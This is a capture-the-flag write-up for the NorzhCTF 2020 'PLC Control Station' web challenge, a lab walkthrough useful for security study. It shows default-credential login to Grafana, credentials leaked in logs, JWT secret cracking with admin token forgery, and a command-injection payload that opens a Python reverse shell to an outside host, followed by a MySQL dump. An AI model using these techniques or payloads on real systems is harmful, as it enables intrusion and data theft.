PLC Control Station

NorzhCTF 2020 - WEB (550 pts).

PLC Control Station

SUMMARY

Norzh Nuclea has developed a PLC monitoring system in the reactor control room.

Find a way to access the monitoring system and find the PLCs IP.

The following IP was discovered earlier using an IP camera stream: 10.13.51.69.

TL;DR

The 10.13.51.69 host contains a Grafana instance that was configured using default password (admin:admin).

Using the Loki plugin, we’re able to fetch logs that contains a flag, a vHost to access the System Alive Checker application.

Either using admin credentials or cracking the JWT cookie, we get access to the SAC dashboard which contains a flag.

The new host feature allows to perform command injection on a Docker container which has access to the MySQL database.

The MySQL database contains both the name and IP of hosts, a specific entry contains a flag (which can be deleted from client side!).

WRITEUP

Grafana

Following the previous challenge, we got the ̀10.13.51.69 IP. Let’s try to access this IP using curl:

$ curl --head -L -k http://127.0.0.1
HTTP/1.1 301 Moved Permanently
Date: Mon, 14 Oct 2019 18:05:13 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
Location: https://grafana.reactor.norzh.nuclea/
Server: grafana.reactor.norzh.nuclea

HTTP/2 302 
date: Mon, 14 Oct 2019 18:05:13 GMT
content-type: text/html; charset=utf-8
cache-control: no-cache
expires: -1
location: /login
pragma: no-cache
set-cookie: redirect_to=%252F; Path=/; HttpOnly
x-frame-options: deny
server: grafana.reactor.norzh.nuclea

HTTP/2 200 
date: Mon, 14 Oct 2019 18:05:13 GMT
content-type: text/html; charset=UTF-8
cache-control: no-cache
expires: -1
pragma: no-cache
x-frame-options: deny
server: grafana.reactor.norzh.nuclea

The HTTP server is redirecting our HTTP client to grafana.reactor.norzh.nuclea, let’s run Firefox:

grafana

We’re facing a login page, looking at the Exploit Database and GitHub, there’s not known vulnerability which could be used to bypass the authentication.

The getting started guide contains the following information:

Default username is admin and default password is admin.

Shamefully, it’s working… Let’s just skip the Change Password form and authenticate to the Grafana application.

Loki

Using Grafana allows us to setup data source and generate dashboards.

Let’s inspect the data sources and check if we can get interesting information using the Explore page:

grafana loki

According to documentation displayed on the page, we can start seeing data by selecting a log stream from the Log labels selector.

Let’s try the {job="varlogs"} stream selector:

[...]
127.0.0.1 - - [14/Oct/2019:17:19:50 +0000] "GET / HTTP/2.0" 200 1188 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" "-"
127.0.0.1 - - [14/Oct/2019:17:19:50 +0000] "POST /login HTTP/2.0" 302 209 "https://plc-ctl.reactor.norzh.nuclea/login" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" "username=admin&password=IbYdviv79nNuvk61VMgs"
127.0.0.1 - - [14/Oct/2019:17:19:50 +0000] "GET /login HTTP/2.0" 200 1376 "https://plc-ctl.reactor.norzh.nuclea/" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" "-"
127.0.0.1 - - [14/Oct/2019:17:19:50 +0000] "GET /?ENSIBS{n3veR_Us3_d3f4Ults_p4sSw0rD!!} HTTP/2.0" 200 1083 "https://plc-ctl.reactor.norzh.nuclea/login" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" "-"
127.0.0.1 - - [14/Oct/2019:17:20:50 +0000] "POST /login HTTP/2.0" 200 41 "https://grafana.reactor.norzh.nuclea/login" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" "{\x22user\x22:\x22admin\x22,\x22password\x22:\x22admin\x22,\x22email\x22:\x22\x22}"
[...]

We got a first flag: ENSIBS{n3veR_Us3_d3f4Ults_p4sSw0rD!!}!

Additionnaly, we got the plc-ctl.reactor.norzh.nuclea hostname with credentials (̀admin:IbYdviv79nNuvk61VMgs) wich, according to the host IP field, seems to be an additional hostname for the 10.13.51.69 host.

PLC Control Station

Admin credentials

Let’s add an additional entry to our hosts file and access the plc-ctl host:

$ echo '10.13.51.69 plc-ctl.reactor.norzh.nuclea plc-ctl' | sudo tee -a /etc/hosts

plc-ctl

To access the dashboard, we need to get an admin account, let’s authenticate ourself using the admin credential!

dashboard

We got another flag: ENSIBS{B3w4re_oF_y0uR_L0gG1nG_ruL3S!}.

The dashboard contains indication about two PLC, but we don’t have their IPs, let’s step forward.

JWT

Let’s create a new user using the /signup. If we look at the HTTP cookies, we have two keys:

  • access_token: JWT cookie used to track user permissions
  • session: Flask session used to track the user authentication

Using [jwt.io], we’re able to decode the token:

jwt

The identity.role key contains user. We can assume that it should contain admin, let’s try to crack the JWT cookie using jwtcat:

jwtcat -t eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzEwNzkzOTUsIm5iZiI6MTU3MTA3OTM5NSwianRpIjoiMGJlYzI4ODUtZGZkMi00MjY3LWFjMTctYWE0ZTg1OGE4NjAwIiwiZXhwIjoxNjAyNjE1Mzk1LCJpZGVudGl0eSI6eyJyb2xlIjoidXNlciJ9LCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.0hce1YbivGfi4eo6tuAZDzKpmV4BigsKjC_iXx_Kx1I -w rockyou.txt

Result:

[...]
[INFO] Secret key: secret
[...]

The secret key was secret… Now, we can tweak our JWT cookie to perform admin user impersonation:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import jwt
from datetime import (datetime, timedelta)

SECRET_KEY = 'secret'

creation = datetime.now()
expiration = creation + timedelta(days=365)

creation.strftime('%s')
expiration.strftime('%s')

token = jwt.encode({
    'iat': int(creation.strftime('%s')),
    'nbf': int(creation.strftime('%s')),
    'exp': int(expiration.strftime('%s')),
    'identity': {'role': 'admin'},
    'fresh': True,
    'type': 'access'
}, SECRET_KEY, algorithm='HS256')

print(token.decode())

Output:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzEwNzk4ODIsIm5iZiI6MTU3MTA3OTg4MiwiZXhwIjoxNjAyNjE1ODgyLCJpZGVudGl0eSI6eyJyb2xlIjoiYWRtaW4ifSwiZnJlc2giOnRydWUsInR5cGUiOiJhY2Nlc3MifQ.ONIID6rnkPJXqeYB9sXVv_5IQ3LGv1UhkmB0YCJ09YQ

If we browse the /dashboard, we get another flag: ENSIBS{JS0N_W€B_ToKen_iS_Cr4p...}.

Command injection

Looking at the /dashboard graph and table, we can assume that the application calls ping program continuously while parsing and indexing the output.

Let’s try to add a new host and see if we receive ping using Burp Collaborator:

add host

burp collaborator client

Okay, the application is working, let’s start a netcat in listening mode and try to get a reverse shell using a basic command injection payload:

$ ncat -lvp 4444

Submit this IP:

127.0.0.1 && python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps.bmoine.fr",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

reverse shell

Yeah, we got root reverse shell on a system-alive-checker-worker host!

MySQL

Since we got a reverse shell, we can now analyze the app.py source code.

Looking at the first lines refers to environment variables containing credentials to access a remote MySQL server:

DB_HOST = os.environ.get('DB_HOST', 'db')
DB_NAME = os.environ.get('DB_NAME', 'app')
DB_USER = os.environ.get('DB_USER', 'admin-app')
DB_PASS = os.environ.get('DB_PASS', 'app-admin')
$ printenv
DB_HOST=db
DB_NAME=db
DB_PASS=ch4113ng3_p455w0rd_my5q1
DB_USER=user

Let’s try to connect to the remote MySQL server:

$ python -c 'import pty; pty.spawn("/bin/sh")'
$ mysql -h${DB_HOST} -u${DB_USER} -p${DB_PASS} ${DB_NAME}

Dump tables:

SHOW TABLES;

Output:

Tables_in_db
hosts
results

Wow, we’ve access to the host table! Let’s dump its content:

SELECT * FROM hosts;

Output:

id name ip
1 PLC1 10.13.67.33
2 PLC2 10.13.67.34
3 not a real host ENSIBS{D4taBaSE_Is0l4t1oN}
4 Collaborator v2yhkktvlivn19rjs8phmlv7cyio6d.burpcollaborator.net
5 Reverse shell 127.0.0.1 && python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“vps.bmoine.fr”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’

We finally got the PLCs IP and another flag: ENSIBS{D4taBaSE_Is0l4t1oN}.

FLAGS

Final flags are:

  • Grafana logs: ENSIBS{n3veR_Us3_d3f4Ults_p4sSw0rD!!}
  • Admin account impersonation using JWT cracking: ENSIBS{JS0N_W€B_ToKen_iS_Cr4p...}
  • MySQL dump: ENSIBS{D4taBaSE_Is0l4t1oN}

Happy Hacking!

Creased